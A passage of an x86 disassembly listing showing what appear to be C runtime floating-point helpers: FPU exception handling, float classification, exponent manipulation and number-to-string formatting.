		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C8A0
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C890
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C8A0
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C8A0
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C890
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C890
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB2A8, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB2A8, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C7B8

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C890
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C7BC[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C8B8
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C8B8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C8C4
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2680000h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C538
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C538
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB340, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB33C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C538
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB340, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB340, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB344
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB33C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C538
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB340, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
